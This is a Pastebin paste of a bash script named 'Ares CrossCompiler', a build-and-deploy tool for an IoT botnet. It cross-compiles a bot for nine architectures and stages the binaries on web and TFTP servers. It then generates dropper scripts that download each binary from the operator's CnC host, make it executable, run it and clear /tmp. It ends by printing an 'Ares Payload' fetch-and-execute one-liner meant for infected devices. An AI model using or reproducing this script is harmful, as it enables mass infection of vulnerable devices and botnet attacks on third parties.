Advertisement
GodAres

[Ares.sh CrossCompiler]

Jun 10th, 2017
352
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.64 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. ### File Names ###
  4. wgetsh="oh.sh"
  5. tftp1="toh.sh"
  6. tftp2="toh2.sh"
  7. Barm7="oharm"
  8. Bmipsel="ohmipsel"
  9. Bmips="ohmips"
  10. Bmips64="ohmips64"
  11. Bi686="ohi686"
  12. Bsparc="ohsparc"
  13. Bsh4="ohsh4"
  14. Bx64="ohx64"
  15. Bppc="ohppc"
  16. ### End Of Section ###
  17.  
  18.  
  19. ### Function Configuration ###
  20. if [ $# == 0 ]; then
  21. echo "Usage: bash $0 [BOT] [Server IP]"
  22. exit 0
  23. fi
  24.  
  25. function usage1() {
  26. echo "Usage: bash $0 [BOT] [Server IP]"
  27. echo "Put the bot you are compiling as first argument"
  28. }
  29.  
  30. function usage2() {
  31. echo "Usage bash $0 [BOT] [Server IP]"
  32. echo "Please add your CnC host IP after the BOT"
  33. }
  34.  
  35. if [ "$1" == "$NULL" ]; then
  36. usage1
  37. exit
  38. fi
  39.  
  40. if [ "$2" == "$NULL" ]; then
  41. usage2
  42. exit
  43. fi
  44. ### End Of Section ###
  45.  
  46. clear; read -p "Ares CrossCompiler, PRESS ENTER"
  47.  
  48. ### Installing Dependencies & Starting Services ###
  49.  
  50. if [ -f /usr/bin/yum ]; then
  51. echo "Installing Packages..."
  52. echo "ulimit -n 99999; ulimit -u 99999; ulimit -s 99999" >> ~/.bashrc
  53. ulimit -n 99999
  54. ulimit -u 99999
  55. ulimit -s 99999
  56. source ~/.bashrc
  57. yum update -y && yum upgrade -y --skip-broken
  58. yum groupinstall "Development Tools" -y --skip-broken
  59. yum install gcc -y --skip-broken
  60. yum install tftp -y --skip-broken
  61. yum install tftp-server -y --skip-broken
  62. yum install xinetd -y --skip-broken
  63. yum install httpd -y --skip-broken
  64. service httpd restart
  65. service xinetd restart
  66. chkconfig xinetd on
  67. elif [ -f /usr/bin/apt-get ]; then
  68. echo "Installing Packages..."
  69. echo "ulimit -n 99999; ulimit -u 99999; ulimit -s 99999" >> ~/.bashrc
  70. ulimit -n 99999
  71. ulimit -u 99999
  72. ulimit -s 99999
  73. source ~/.bashrc
  74. apt-get install build-essential -y
  75. apt-get install gcc -y
  76. apt-get install nginx -y
  77. apt-get install tftp -y
  78. apt-get install tftpd -y
  79. apt-get install tftpd-hpa -y
  80. apt-get install xinetd -y
  81. apt-get install apache2 -y
  82. service nginx start
  83. service xinetd start
  84. service tftpd-hpa start
  85. service apache2 start
  86. apt-get install bzip2 -y
  87. fi
  88. ### End Of Section ###
  89.  
  90.  
  91. ### Installing Cross Compilers ###
  92. if [ -d cross-compiler-armv7l ]; then
  93. echo -e "cross-compiler-armv7l is present"
  94. else
  95. wget http://landley.net/aboriginal/downloads/old/binaries/1.2.6/cross-compiler-armv7l.tar.bz2
  96. tar -xvjf cross-compiler-armv7l.tar.bz2
  97. fi
  98.  
  99. if [ -d cross-compiler-mipsel ]; then
  100. echo -e "cross-compiler-mipsel is present"
  101. else
  102. wget http://landley.net/aboriginal/downloads/old/binaries/1.2.6/cross-compiler-mipsel.tar.bz2
  103. tar -xvjf cross-compiler-mipsel.tar.bz2
  104. fi
  105.  
  106. if [ -d cross-compiler-mips ]; then
  107. echo -e "cross-compiler-mips is present"
  108. else
  109. wget http://landley.net/aboriginal/downloads/old/binaries/1.2.6/cross-compiler-mips.tar.bz2
  110. tar -xvjf cross-compiler-mips.tar.bz2
  111. fi
  112.  
  113. if [ -d cross-compiler-mips64 ]; then
  114. echo -e "cross-compiler-mips64 is present"
  115. else
  116. wget http://landley.net/aboriginal/downloads/old/binaries/1.2.6/cross-compiler-mips64.tar.bz2
  117. tar -xvjf cross-compiler-mips64.tar.bz2
  118. fi
  119.  
  120. if [ -d cross-compiler-i686 ]; then
  121. echo -e "cross-compiler-i686 is present"
  122. else
  123. wget http://landley.net/aboriginal/downloads/old/binaries/1.2.6/cross-compiler-i686.tar.bz2
  124. tar -xvjf cross-compiler-i686.tar.bz2
  125. fi
  126.  
  127. if [ -d cross-compiler-sparc ]; then
  128. echo -e "cross-compiler-sparc is present"
  129. else
  130. wget http://landley.net/aboriginal/downloads/old/binaries/1.2.6/cross-compiler-sparc.tar.bz2
  131. tar -xvjf cross-compiler-sparc.tar.bz2
  132. fi
  133.  
  134. if [ -d cross-compiler-sh4 ]; then
  135. echo -e "cross-compiler-sh4 is present"
  136. else
  137. wget http://landley.net/aboriginal/downloads/old/binaries/1.2.6/cross-compiler-sh4.tar.bz2
  138. tar -xvjf cross-compiler-sh4.tar.bz2
  139. fi
  140.  
  141. if [ -d cross-compiler-x86_64 ]; then
  142. echo -e "cross-compiler-x86_64 is present"
  143. else
  144. wget http://landley.net/aboriginal/downloads/old/binaries/1.2.6/cross-compiler-x86_64.tar.bz2
  145. tar -xvjf cross-compiler-x86_64.tar.bz2
  146. fi
  147.  
  148. if [ -d cross-compiler-powerpc ]; then
  149. echo -e "cross-compiler-powerpc is present"
  150. else
  151. wget http://landley.net/aboriginal/downloads/old/binaries/1.2.6/cross-compiler-powerpc.tar.bz2
  152. tar -xvjf cross-compiler-powerpc.tar.bz2
  153. fi
  154.  
  155. if [ -d *.tar.bz2 ]; then
  156. echo -e "Removing All .tar.bz2 files"
  157. else
  158. rm -rf *.tar.bz2
  159. fi
  160. ### End Of Section ###
  161.  
  162. echo -en "\n"
  163. echo "Cross Compiling... please wait."
  164.  
  165. ### Cross Compiling Bot ###
  166. if [ -f $Barm7 ]; then
  167. echo -en "arm7 is present // Binary Name: $Barm7\n"
  168. else
  169. ./cross-compiler-armv7l/bin/armv7l-gcc -static -lpthread -pthread -Darm7 -o $Barm7 $1 > /dev/null 2>&1
  170. fi
  171.  
  172. if [ -f $Bmipsel ]; then
  173. echo -en "mipsel is present // Binary Name: $Bmipsel\n"
  174. else
  175. ./cross-compiler-mipsel/bin/mipsel-gcc -static -lpthread -pthread -Dmipsel -o $Bmipsel $1 > /dev/null 2>&1
  176. fi
  177.  
  178. if [ -f $Bmips ]; then
  179. echo -en "mips is present // Binary Name: $Bmips\n"
  180. else
  181. ./cross-compiler-mips/bin/mips-gcc -static -lpthread -pthread -Dmips -o $Bmips $1 > /dev/null 2>&1
  182. fi
  183.  
  184. if [ -f $Bmips64 ]; then
  185. echo -en "mips64 is present // Binary Name: $Bmips64\n"
  186. else
  187. ./cross-compiler-mips64/bin/mips64-gcc -static -lpthread -pthread -Dmips64 -o $Bmips64 $1 > /dev/null 2>&1
  188. fi
  189.  
  190. if [ -f $Bi686 ]; then
  191. echo -en "i686 is present // Binary Name: $Bi686\n"
  192. else
  193. ./cross-compiler-i686/bin/i686-gcc -static -lpthread -pthread -Di686 -o $Bi686 $1 > /dev/null 2>&1
  194. fi
  195.  
  196. if [ -f $Bsparc ]; then
  197. echo -en "sparc is present // Binary Name: $Bsparc\n"
  198. else
  199. ./cross-compiler-sparc/bin/sparc-gcc -static -lpthread -pthread -Dsparc -o $Bsparc $1 > /dev/null 2>&1
  200. fi
  201.  
  202. if [ -f $Bsh4 ]; then
  203. echo -en "sh4 is present // Binary Name: $Bsh4\n"
  204. else
  205. ./cross-compiler-sh4/bin/sh4-gcc -static -lpthread -pthread -Dsh4 -o $Bsh4 $1 > /dev/null 2>&1
  206. fi
  207.  
  208. if [ -f $Bx64 ]; then
  209. echo -en "x86_64 is present // Binary Name: $Bx64\n"
  210. else
  211. ./cross-compiler-x86_64/bin/x86_64-gcc -static -lpthread -pthread -Dx64 -o $Bx64 $1 > /dev/null 2>&1
  212. fi
  213.  
  214. if [ -f $Bppc ]; then
  215. echo -en "ppc is present // Binary Name: $Bppc\n"
  216. else
  217. ./cross-compiler-powerpc/bin/powerpc-gcc -static -lpthread -pthread -Dppc -o $Bppc $1 > /dev/null 2>&1
  218. fi
  219. ### End Of Section ###
  220.  
  221. ### Changing Permitions & Moving Files ###
  222. if [ -f /usr/bin/yum ]; then
  223. chmod 777 /var/lib/tftpboot
  224. chmod 777 /var/www/html
  225. cp $Barm7 $Bmipsel $Bmips $Bmips64 $Bi686 $Bsparc $Bsh4 $Bx64 $Bppc /var/lib/tftpboot
  226. cp $Barm7 $Bmipsel $Bmips $Bmips64 $Bi686 $Bsparc $Bsh4 $Bx64 $Bppc /var/www/html
  227. touch /var/www/html/$wgetsh; chmod 777 /var/www/html/$wgetsh
  228. touch /var/lib/tftpboot/$tftp1; chmod 777 /var/lib/tftpboot/$tftp1
  229. touch /var/lib/tftpboot/$tftp2; chmod 777 /var/lib/tftpboot/$tftp2
  230. elif [ -f /usr/bin/apt-get ]; then
  231. chmod 777 /srv/tftp
  232. chmod 777 /usr/share/nginx/www
  233. chmod 777 /usr/share/nginx/html
  234. cp $Barm7 $Bmipsel $Bmips $Bmips64 $Bi686 $Bsparc $Bsh4 $Bx64 $Bppc /srv/tftp
  235. cp $Barm7 $Bmipsel $Bmips $Bmips64 $Bi686 $Bsparc $Bsh4 $Bx64 $Bppc /usr/share/nginx/www
  236. cp $Barm7 $Bmipsel $Bmips $Bmips64 $Bi686 $Bsparc $Bsh4 $Bx64 $Bppc /usr/share/nginx/html
  237. touch /usr/share/nginx/www/$wgetsh; chmod 777 /usr/share/nginx/www/$wgetsh
  238. touch /usr/share/nginx/html/$wgetsh; chmod 777 /usr/share/nginx/html/$wgetsh
  239. touch /srv/tftp/$tftp1; chmod 777 /srv/tftp/$tftp1
  240. touch /srv/tftp/$tftp2; chmod 777 /srv/tftp/$tftp2
  241. fi
  242. ### End Of Section ###
  243.  
  244. ### Generating GetBinary.sh ###
  245. if [ -d /usr/share/nginx/html ]; then
  246. echo "ulimit -n 712" >>/usr/share/nginx/html/$wgetsh
  247. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Barm7; chmod 777 $Barm7; ./$Barm7" >>/usr/share/nginx/html/$wgetsh
  248. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Bmipsel; chmod 777 $Bmipsel; ./$Bmipsel" >>/usr/share/nginx/html/$wgetsh
  249. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Bmips; chmod 777 $Bmips; ./$Bmips" >>/usr/share/nginx/html/$wgetsh
  250. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Bmips64; chmod 777 $Bmips64; ./$Bmips64" >>/usr/share/nginx/html/$wgetsh
  251. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Bi686; chmod 777 $Bi686; ./$Bi686" >>/usr/share/nginx/html/$wgetsh
  252. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Bsparc; chmod 777 $Bsparc; ./$Bsparc" >>/usr/share/nginx/html/$wgetsh
  253. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Bsh4; chmod 777 $Bsh4; ./$Bsh4" >>/usr/share/nginx/html/$wgetsh
  254. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Bx64; chmod 777 $Bx64; ./$Bx64" >>/usr/share/nginx/html/$wgetsh
  255. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Bppc; chmod 777 $Bppc; ./$Bppc" >>/usr/share/nginx/html/$wgetsh
  256. echo "rm -rf /tmp/*" >>/usr/share/nginx/html/$wgetsh
  257. elif [ -d /usr/share/nginx/www ]; then
  258. echo "ulimit -n 712" >>/usr/share/nginx/www/$wgetsh
  259. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Barm7; chmod 777 $Barm7; ./$Barm7" >>/usr/share/nginx/www/$wgetsh
  260. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Bmipsel; chmod 777 $Bmipsel; ./$Bmipsel" >>/usr/share/nginx/www/$wgetsh
  261. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Bmips; chmod 777 $Bmips; ./$Bmips" >>/usr/share/nginx/www/$wgetsh
  262. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Bmips64; chmod 777 $Bmips64; ./$Bmips64" >>/usr/share/nginx/www/$wgetsh
  263. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Bi686; chmod 777 $Bi686; ./$Bi686" >>/usr/share/nginx/www/$wgetsh
  264. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Bsparc; chmod 777 $Bsparc; ./$Bsparc" >>/usr/share/nginx/www/$wgetsh
  265. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Bsh4; chmod 777 $Bsh4; ./$Bsh4" >>/usr/share/nginx/www/$wgetsh
  266. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Bx64; chmod 777 $Bx64; ./$Bx64" >>/usr/share/nginx/www/$wgetsh
  267. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Bppc; chmod 777 $Bppc; ./$Bppc" >>/usr/share/nginx/www/$wgetsh
  268. echo "rm -rf /tmp/*" >>/usr/share/nginx/www/$wgetsh
  269. fi
  270.  
  271. if [ -d /var/www/html ]; then
  272. echo "ulimit -n 712" >>/var/www/html/$wgetsh
  273. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Barm7; chmod 777 $Barm7; ./$Barm7" >>/var/www/html/$wgetsh
  274. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Bmipsel; chmod 777 $Bmipsel; ./$Bmipsel" >>/var/www/html/$wgetsh
  275. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Bmips; chmod 777 $Bmips; ./$Bmips" >>/var/www/html/$wgetsh
  276. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Bmips64; chmod 777 $Bmips64; ./$Bmips64" >>/var/www/html/$wgetsh
  277. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Bi686; chmod 777 $Bi686; ./$Bi686" >>/var/www/html/$wgetsh
  278. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Bsparc; chmod 777 $Bsparc; ./$Bsparc" >>/var/www/html/$wgetsh
  279. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Bsh4; chmod 777 $Bsh4; ./$Bsh4" >>/var/www/html/$wgetsh
  280. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Bx64; chmod 777 $Bx64; ./$Bx64" >>/var/www/html/$wgetsh
  281. echo "cd /tmp || cd /var/run; rm -rf *; wget http://$2/$Bppc; chmod 777 $Bppc; ./$Bppc" >>/var/www/html/$wgetsh
  282. echo "rm -rf /tmp/*" >>/var/www/html/$wgetsh
  283. else
  284. echo "Oops.. Something has gone wrong."
  285. fi
  286.  
  287. if [ -d /srv/tftp ]; then
  288. echo "ulimit -n 712" >>/srv/tftp/$tftp1
  289. echo "cd /tmp || cd /var/run; tftp -r $Barm7 -g $2; chmod +x $Barm7; ./$Barm7; rm -rf $Barm7*" >>/srv/tftp/$tftp1
  290. echo "cd /tmp || cd /var/run; tftp -r $Bmipsel -g $2; chmod +x $Bmipsel; ./$Bmipsel; rm -rf $Bmipsel*" >>/srv/tftp/$tftp1
  291. echo "cd /tmp || cd /var/run; tftp -r $Bmips -g $2; chmod +x $Bmips; ./$Bmips; rm -rf $Bmips*" >>/srv/tftp/$tftp1
  292. echo "cd /tmp || cd /var/run; tftp -r $Bmips64 -g $2; chmod +x $Bmips64; ./$Bmips64; rm -rf $Bmips64*" >>/srv/tftp/$tftp1
  293. echo "cd /tmp || cd /var/run; tftp -r $Bi686 -g $2; chmod +x $Bi686; ./$Bi686; rm -rf $Bi686*" >>/srv/tftp/$tftp1
  294. echo "cd /tmp || cd /var/run; tftp -r $Bsparc -g $2; chmod +x $Bsparc; ./$Bsparc; rm -rf $Bsparc*" >>/srv/tftp/$tftp1
  295. echo "cd /tmp || cd /var/run; tftp -r $Bsh4 -g $2; chmod +x $Bsh4; ./$Bsh4; rm -rf $Bsh4*" >>/srv/tftp/$tftp1
  296. echo "cd /tmp || cd /var/run; tftp -r $Bx64 -g $2; chmod +x $Bx64; ./$Bx64; rm -rf $Bx64*" >>/srv/tftp/$tftp1
  297. echo "cd /tmp || cd /var/run; tftp -r $Bppc -g $2; chmod +x $Bppc; ./$Bppc; rm -rf $Bppc*" >>/srv/tftp/$tftp1
  298. echo "rm -rf /tmp/*" >>/srv/tftp/$tftp1
  299. echo "ulimit -n 712" >>/srv/tftp/$tftp2
  300. echo "cd /tmp || cd /var/run; tftp $2 -c get $Barm7; chmod +x $Barm7; ./$Barm7; rm -rf $Barm7*" >>/srv/tftp/$tftp2
  301. echo "cd /tmp || cd /var/run; tftp $2 -c get $Bmipsel; chmod +x $Bmipsel; ./$Bmipsel; rm -rf $Bmipsel*" >>/srv/tftp/$tftp2
  302. echo "cd /tmp || cd /var/run; tftp $2 -c get $Bmips; chmod +x $Bmips; ./$Bmips; rm -rf $Bmips*" >>/srv/tftp/$tftp2
  303. echo "cd /tmp || cd /var/run; tftp $2 -c get $Bmips64; chmod +x $Bmips64; ./$Bmips64; rm -rf $Bmips64*" >>/srv/tftp/$tftp2
  304. echo "cd /tmp || cd /var/run; tftp $2 -c get $Bi686; chmod +x $Bi686; ./$Bi686; rm -rf $Bi686*" >>/srv/tftp/$tftp2
  305. echo "cd /tmp || cd /var/run; tftp $2 -c get $Bsparc; chmod +x $Bsparc; ./$Bsparc; rm -rf $Bsparc*" >>/srv/tftp/$tftp2
  306. echo "cd /tmp || cd /var/run; tftp $2 -c get $Bsh4; chmod +x $Bsh4; ./$Bsh4; rm -rf $Bsh4*" >>/srv/tftp/$tftp2
  307. echo "cd /tmp || cd /var/run; tftp $2 -c get $Bx64; chmod +x $Bx64; ./$Bx64; rm -rf $Bx64*" >>/srv/tftp/$tftp2
  308. echo "cd /tmp || cd /var/run; tftp $2 -c get $Bppc; chmod +x $Bppc; ./$Bppc; rm -rf $Bppc*" >>/srv/tftp/$tftp2
  309. echo "rm -rf /tmp/*" >>/srv/tftp/$tftp2
  310. elif [ -d /var/lib/tftpboot ]; then
  311. echo "ulimit -n 712" >>/var/lib/tftpboot/$tftp1
  312. echo "cd /tmp || cd /var/run; tftp -r $Barm7 -g $2; chmod +x $Barm7; ./$Barm7; rm -rf $Barm7*" >>/var/lib/tftpboot/$tftp1
  313. echo "cd /tmp || cd /var/run; tftp -r $Bmipsel -g $2; chmod +x $Bmipsel; ./$Bmipsel; rm -rf $Bmipsel*" >>/var/lib/tftpboot/$tftp1
  314. echo "cd /tmp || cd /var/run; tftp -r $Bmips -g $2; chmod +x $Bmips; ./$Bmips; rm -rf $Bmips*" >>/var/lib/tftpboot/$tftp1
  315. echo "cd /tmp || cd /var/run; tftp -r $Bmips64 -g $2; chmod +x $Bmips64; ./$Bmips64; rm -rf $Bmips64*" >>/var/lib/tftpboot/$tftp1
  316. echo "cd /tmp || cd /var/run; tftp -r $Bi686 -g $2; chmod +x $Bi686; ./$Bi686; rm -rf $Bi686*" >>/var/lib/tftpboot/$tftp1
  317. echo "cd /tmp || cd /var/run; tftp -r $Bsparc -g $2; chmod +x $Bsparc; ./$Bsparc; rm -rf $Bsparc*" >>/var/lib/tftpboot/$tftp1
  318. echo "cd /tmp || cd /var/run; tftp -r $Bsh4 -g $2; chmod +x $Bsh4; ./$Bsh4; rm -rf $Bsh4*" >>/var/lib/tftpboot/$tftp1
  319. echo "cd /tmp || cd /var/run; tftp -r $Bx64 -g $2; chmod +x $Bx64; ./$Bx64; rm -rf $Bx64*" >>/var/lib/tftpboot/$tftp1
  320. echo "cd /tmp || cd /var/run; tftp -r $Bppc -g $2; chmod +x $Bppc; ./$Bppc; rm -rf $Bppc*" >>/var/lib/tftpboot/$tftp1
  321. echo "rm -rf /tmp/*" >>/var/lib/tftpboot/$tftp1
  322. echo "ulimit -n 712" >>/var/lib/tftpboot/$tftp2
  323. echo "cd /tmp || cd /var/run; tftp $2 -c get $Barm7; chmod +x $Barm7; ./$Barm7; rm -rf $Barm7*" >>/var/lib/tftpboot/$tftp2
  324. echo "cd /tmp || cd /var/run; tftp $2 -c get $Bmipsel; chmod +x $Bmipsel; ./$Bmipsel; rm -rf $Bmipsel*" >>/var/lib/tftpboot/$tftp2
  325. echo "cd /tmp || cd /var/run; tftp $2 -c get $Bmips; chmod +x $Bmips; ./$Bmips; rm -rf $Bmips*" >>/var/lib/tftpboot/$tftp2
  326. echo "cd /tmp || cd /var/run; tftp $2 -c get $Bmips64; chmod +x $Bmips64; ./$Bmips64; rm -rf $Bmips64*" >>/var/lib/tftpboot/$tftp2
  327. echo "cd /tmp || cd /var/run; tftp $2 -c get $Bi686; chmod +x $Bi686; ./$Bi686; rm -rf $Bi686*" >>/var/lib/tftpboot/$tftp2
  328. echo "cd /tmp || cd /var/run; tftp $2 -c get $Bsparc; chmod +x $Bsparc; ./$Bsparc; rm -rf $Bsparc*" >>/var/lib/tftpboot/$tftp2
  329. echo "cd /tmp || cd /var/run; tftp $2 -c get $Bsh4; chmod +x $Bsh4; ./$Bsh4; rm -rf $Bsh4*" >>/var/lib/tftpboot/$tftp2
  330. echo "cd /tmp || cd /var/run; tftp $2 -c get $Bx64; chmod +x $Bx64; ./$Bx64; rm -rf $Bx64*" >>/var/lib/tftpboot/$tftp2
  331. echo "cd /tmp || cd /var/run; tftp $2 -c get $Bppc; chmod +x $Bppc; ./$Bppc; rm -rf $Bppc*" >>/var/lib/tftpboot/$tftp2
  332. echo "rm -rf /tmp/*" >>/var/lib/tftpboot/$tftp2
  333. fi
  334. ### End Of Section ###
  335. clear
  336. echo -en "\n"
  337. echo -e "Ares Payload: cd /tmp ;wget http://$2/$wgetsh;curl -O http://$2/$wgetsh;sh $wgetsh;rm -rf $wgetsh;tftp -r $tftp1 -g $2;sh $tftp1; tftp $2 -c get $tftp2; sh $tftp2; rm -rf $tftp1 $tftp2 $wgetsh"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement